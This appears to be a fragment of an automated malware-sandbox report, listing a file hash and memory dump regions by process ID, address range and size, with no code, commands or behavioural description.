                                                                                                                                      45789878bd9675fda353e7fea42b2c9da3585d6ebbabd9c40ef594d2c8ec088f62e3918026e004979fdd1beed961a94c4d9b00ffc73e817861a24aeace528e6b

                                                                                                                                    • memory/1748-139-0x0000000000000000-mapping.dmp
                                                                                                                                    • memory/2036-133-0x0000000000000000-mapping.dmp
                                                                                                                                    • memory/2036-134-0x0000000005309000-0x00000000056B0000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      3.7MB

                                                                                                                                    • memory/2036-136-0x0000000000400000-0x00000000036BC000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      50.7MB

                                                                                                                                    • memory/2640-146-0x0000000000000000-mapping.dmp
                                                                                                                                    • memory/3108-147-0x0000000000000000-mapping.dmp
                                                                                                                                    • memory/3568-135-0x0000000000000000-mapping.dmp
                                                                                                                                    • memory/3628-140-0x0000000000000000-mapping.dmp
                                                                                                                                    • memory/3628-143-0x0000000005800000-0x0000000005BA7000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      3.7MB

                                                                                                                                    • memory/3628-144-0x0000000000400000-0x00000000036BC000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      50.7MB

                                                                                                                                    • memory/3988-149-0x0000000000000000-mapping.dmp
                                                                                                                                    • memory/4304-130-0x000000000536B000-0x0000000005712000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      3.7MB

                                                                                                                                    • memory/4304-132-0x0000000000400000-0x00000000036BC000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      50.7MB

                                                                                                                                    • memory/4304-131-0x0000000005720000-0x0000000005E16000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      7.0MB

                                                                                                                                    • memory/4352-145-0x0000000000000000-mapping.dmp
                                                                                                                                    • memory/4476-138-0x0000000000000000-mapping.dmp
                                                                                                                                    • memory/4828-137-0x0000000000000000-mapping.dmp